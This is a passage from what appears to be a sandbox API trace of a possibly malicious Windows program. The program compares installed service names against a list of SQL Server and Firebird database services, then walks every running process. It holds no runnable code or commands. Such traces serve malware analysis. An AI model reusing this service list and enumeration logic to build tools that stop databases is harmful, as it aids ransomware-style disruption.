lpString2="PcaSvc") returned 1 [0085.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0085.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0085.727] lstrlenW (lpString="PlugPlay") returned 8 [0085.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0085.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0085.727] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0085.727] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0085.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0085.727] lstrlenW (lpString="Power") returned 5 [0085.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0085.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0085.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0085.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0085.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0085.727] lstrlenW (lpString="ProfSvc") returned 7 [0085.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0085.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0085.727] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0085.727] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0085.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0085.727] lstrlenW (lpString="RpcEptMapper") returned 12 [0085.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0085.727] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0085.727] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0085.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0085.727] lstrlenW (lpString="RpcSs") returned 5 [0085.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0085.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0085.728] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0085.728] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0085.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0085.728] lstrlenW (lpString="SamSs") returned 5 [0085.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0085.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0085.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0085.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0085.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0085.728] lstrlenW (lpString="Schedule") returned 8 [0085.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0085.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0085.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0085.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0085.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0085.728] lstrlenW (lpString="SecurityHealthService") returned 21 [0085.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0085.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0085.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0085.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0085.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0085.728] lstrlenW (lpString="SENS") returned 4 [0085.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0085.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0085.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0085.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0085.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0085.729] lstrlenW (lpString="ShellHWDetection") returned 16 [0085.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0085.729] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0085.729] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0085.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0085.729] lstrlenW (lpString="Spooler") returned 7 [0085.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0085.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0085.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0085.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0085.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0085.729] lstrlenW (lpString="SSDPSRV") returned 7 [0085.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0085.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0085.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0085.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0085.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0085.729] lstrlenW (lpString="StateRepository") returned 15 [0085.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0085.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0085.729] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0085.729] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0085.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0085.730] lstrlenW (lpString="SysMain") returned 7 [0085.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0085.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0085.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0085.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0085.730] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36820c0 | out: hHeap=0x440000) returned 1 [0085.730] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f0 [0086.002] Process32FirstW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.002] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0086.003] lstrlenW (lpString="System") returned 6 [0086.003] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0086.004] lstrlenW (lpString="smss.exe") returned 8 [0086.004] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.005] lstrlenW (lpString="csrss.exe") returned 9 [0086.005] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0086.005] lstrlenW (lpString="wininit.exe") returned 11 [0086.005] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.006] lstrlenW (lpString="csrss.exe") returned 9 [0086.006] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0086.007] lstrlenW (lpString="winlogon.exe") returned 12 [0086.007] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0086.007] lstrlenW (lpString="services.exe") returned 12 [0086.008] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0086.008] lstrlenW (lpString="lsass.exe") returned 9 [0086.008] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.009] lstrlenW (lpString="svchost.exe") returned 11 [0086.009] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0086.009] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0086.009] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0086.010] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0086.010] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.011] lstrlenW (lpString="svchost.exe") returned 11 [0086.011] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0086.011] lstrlenW (lpString="dwm.exe") returned 7 [0086.011] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.012] lstrlenW (lpString="svchost.exe") returned 11 [0086.012] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.012] lstrlenW (lpString="svchost.exe") returned 11 [0086.013] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.013] lstrlenW (lpString="svchost.exe") returned 11 [0086.013] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.014] lstrlenW (lpString="svchost.exe") returned 11 [0086.014] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.015] lstrlenW (lpString="svchost.exe") returned 11 [0086.015] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.015] lstrlenW (lpString="svchost.exe") returned 11 [0086.015] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.016] lstrlenW (lpString="svchost.exe") returned 11 [0086.016] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.016] lstrlenW (lpString="svchost.exe") returned 11 [0086.016] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.017] lstrlenW (lpString="svchost.exe") returned 11 [0086.017] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0086.018] lstrlenW (lpString="spoolsv.exe") returned 11 [0086.018] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.018] lstrlenW (lpString="svchost.exe") returned 11 [0086.018] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.019] lstrlenW (lpString="svchost.exe") returned 11 [0086.019] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0086.020] lstrlenW (lpString="audiodg.exe") returned 11 [0086.020] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0086.021] lstrlenW (lpString="sihost.exe") returned 10 [0086.021] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.021] lstrlenW (lpString="svchost.exe") returned 11 [0086.021] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0086.022] lstrlenW (lpString="taskhostw.exe") returned 13 [0086.022] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0086.023] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0086.023] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0086.023] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0086.023] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0086.024] lstrlenW (lpString="explorer.exe") returned 12 [0086.024] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0086.025] lstrlenW (lpString="Memory Compression") returned 18 [0086.025] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0086.025] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0086.025] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0086.026] lstrlenW (lpString="SearchUI.exe") returned 12 [0086.026] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0086.027] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0086.027] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.027] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0086.027] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0086.028] lstrlenW (lpString="taskhostw.exe") returned 13 [0086.028] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0086.028] lstrlenW (lpString="UsoClient.exe") returned 13 [0086.029] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0086.029] lstrlenW (lpString="taskhostw.exe") returned 13 [0086.029] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0086.030] lstrlenW (lpString="msoia.exe") returned 9 [0086.030] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0086.030] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0086.030] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0086.735] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0086.735] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0086.736] lstrlenW (lpString="msoia.exe") returned 9 [0086.736] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0086.737] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0086.737] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0086.737] lstrlenW (lpString="entering.exe") returned 12 [0086.737] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0086.738] lstrlenW (lpString="measurement nut d.exe") returned 21 [0086.738] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0086.738] lstrlenW (lpString="ai element.exe") returned 14 [0086.738] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0086.739] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0086.739] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0086.739] lstrlenW (lpString="clicking.exe") returned 12 [0086.739] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0086.740] lstrlenW (lpString="pack.exe") returned 8 [0086.740] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 